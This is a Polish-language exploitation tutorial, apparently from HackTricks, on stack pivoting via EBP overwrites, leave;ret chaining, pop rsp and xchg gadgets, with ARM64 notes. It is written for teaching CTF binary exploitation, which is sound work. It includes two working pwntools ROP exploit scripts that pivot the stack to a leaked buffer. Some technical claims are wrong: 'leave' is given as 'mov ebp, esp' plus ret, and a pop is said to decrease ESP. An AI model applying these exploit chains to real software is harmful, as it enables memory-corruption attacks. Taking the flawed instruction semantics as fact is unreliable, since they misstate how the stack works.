Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 8 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawowe informacje
Ta technika wykorzystuje zdolność do manipulacji wskaźnikiem bazowym (EBP) w celu łączenia wykonania wielu funkcji poprzez staranne użycie rejestru EBP oraz sekwencji instrukcji leave; ret
.
Przypominając, leave
zasadniczo oznacza:
mov ebp, esp
pop ebp
ret
I jako że EBP znajduje się na stosie przed EIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu.
EBP2Ret
Ta technika jest szczególnie przydatna, gdy możesz zmienić rejestr EBP, ale nie masz bezpośredniego sposobu na zmianę rejestru EIP. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania.
Jeśli podczas wykonywania fvuln
uda ci się wstrzyknąć fałszywy EBP na stos, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty, aby uwzględnić operację pop
), możesz pośrednio kontrolować EIP. Gdy fvuln
zwraca, ESP jest ustawione na to skonstruowane miejsce, a następna operacja pop
zmniejsza ESP o 4, efektywnie wskazując na adres przechowywany przez atakującego.
Zauważ, że musisz znać 2 adresy: Ten, na który ESP ma wskoczyć, gdzie będziesz musiał zapisać adres, na który wskazuje ESP.
Budowa Exploita
Najpierw musisz znać adres, w którym możesz zapisać dowolne dane/adresy. ESP będzie wskazywać tutaj i wykona pierwsze ret
.
Następnie musisz znać adres używany przez ret
, który wykona dowolny kod. Możesz użyć:
- Ważnego ONE_GADGET adresu.
- Adresu
system()
, po którym następują 4 bajty śmieci i adres"/bin/sh"
(x86 bits). - Adresu gadżetu
jump esp;
(ret2esp), po którym następuje shellcode do wykonania. - Jakiegoś łańcucha ROP
Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanej części pamięci muszą być 4
bajty z powodu części pop
instrukcji leave
. Możliwe byłoby wykorzystanie tych 4B do ustawienia drugiego fałszywego EBP i kontynuowania kontroli nad wykonaniem.
Exploit Off-By-One
Istnieje specyficzna wariant tej techniki znana jako "Off-By-One Exploit". Jest używana, gdy możesz zmodyfikować tylko najmniej znaczący bajt EBP. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z ret
, musi dzielić pierwsze trzy bajty z EBP, co pozwala na podobną manipulację w bardziej ograniczonych warunkach.
Zazwyczaj modyfikowany jest bajt 0x00, aby skoczyć jak najdalej.
Ponadto, powszechne jest używanie RET sled w stosie i umieszczanie prawdziwego łańcucha ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskazuje wewnątrz RET SLED, a końcowy łańcuch ROP jest wykonywany.
Łańcuchowanie EBP
Dlatego umieszczając kontrolowany adres w wpisie EBP
stosu i adres do leave; ret
w EIP
, możliwe jest przeniesienie ESP
do kontrolowanego adresu EBP
ze stosu.
Teraz ESP
jest kontrolowane, wskazując na pożądany adres, a następna instrukcja do wykonania to RET
. Aby to wykorzystać, można umieścić w kontrolowanym miejscu ESP to:
&(next fake EBP)
-> Załaduj nowy EBP z powodupop ebp
z instrukcjileave
system()
-> Wywołane przezret
&(leave;ret)
-> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie ponownie&("/bin/sh")
-> Parametr dlasystem
W zasadzie w ten sposób można łączyć kilka fałszywych EBP, aby kontrolować przepływ programu.
To jest jak ret2lib, ale bardziej skomplikowane, bez oczywistych korzyści, ale może być interesujące w niektórych przypadkach brzegowych.
Ponadto, oto przykład wyzwania, które wykorzystuje tę technikę z wyciekiem stosu, aby wywołać zwycięską funkcję. To jest końcowy ładunek z tej strony:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP może nie być używane
Jak wyjaśniono w tym poście, jeśli binarka jest kompilowana z pewnymi optymalizacjami, EBP nigdy nie kontroluje ESP, w związku z tym, każdy exploit działający poprzez kontrolowanie EBP zasadniczo nie powiedzie się, ponieważ nie ma rzeczywistego efektu.
Dzieje się tak, ponieważ prolog i epilog zmieniają się, jeśli binarka jest zoptymalizowana.
- Nieoptymalizowane:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optymalizowane:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Inne sposoby kontrolowania RSP
pop rsp
gadget
Na tej stronie znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był pop rsp
gadget i występował leak ze stosu:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Sprawdź technikę ret2esp tutaj:
{{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}}
Odniesienia i inne przykłady
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bity, exploatacja off by one z łańcuchem rop zaczynającym się od ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bity, brak relro, canary, nx i pie. Program umożliwia wyciek dla stosu lub pie i WWW dla qword. Najpierw uzyskaj wyciek stosu i użyj WWW, aby wrócić i uzyskać wyciek pie. Następnie użyj WWW, aby stworzyć wieczną pętlę, nadużywając wpisów
.fini_array
+ wywołując__libc_csu_fini
(więcej informacji tutaj). Nadużywając tego "wiecznego" zapisu, zapisuje się łańcuch ROP w .bss i kończy wywołując go, pivotując z RBP.
ARM64
W ARM64, prologi i epilogi funkcji nie przechowują i nie odzyskują rejestru SP w stosie. Co więcej, instrukcja RET
nie zwraca do adresu wskazywanego przez SP, ale do adresu wewnątrz x30
.
Dlatego, domyślnie, nadużywając epilogu, nie będziesz w stanie kontrolować rejestru SP przez nadpisanie danych wewnątrz stosu. A nawet jeśli uda ci się kontrolować SP, nadal potrzebujesz sposobu na kontrolowanie rejestru x30
.
- prolog
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP wskazuje na rekord ramki
- epilog
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
ostrzeżenie
Sposobem na wykonanie czegoś podobnego do pivotowania stosu w ARM64 byłoby być w stanie kontrolować SP
(poprzez kontrolowanie jakiegoś rejestru, którego wartość jest przekazywana do SP
lub ponieważ z jakiegoś powodu SP
bierze swój adres ze stosu i mamy przepełnienie) i następnie nadużyć epilogu, aby załadować rejestr x30
z kontrolowanego SP
i RET
do niego.
Również na następnej stronie możesz zobaczyć odpowiednik Ret2esp w ARM64:
{{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}}
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.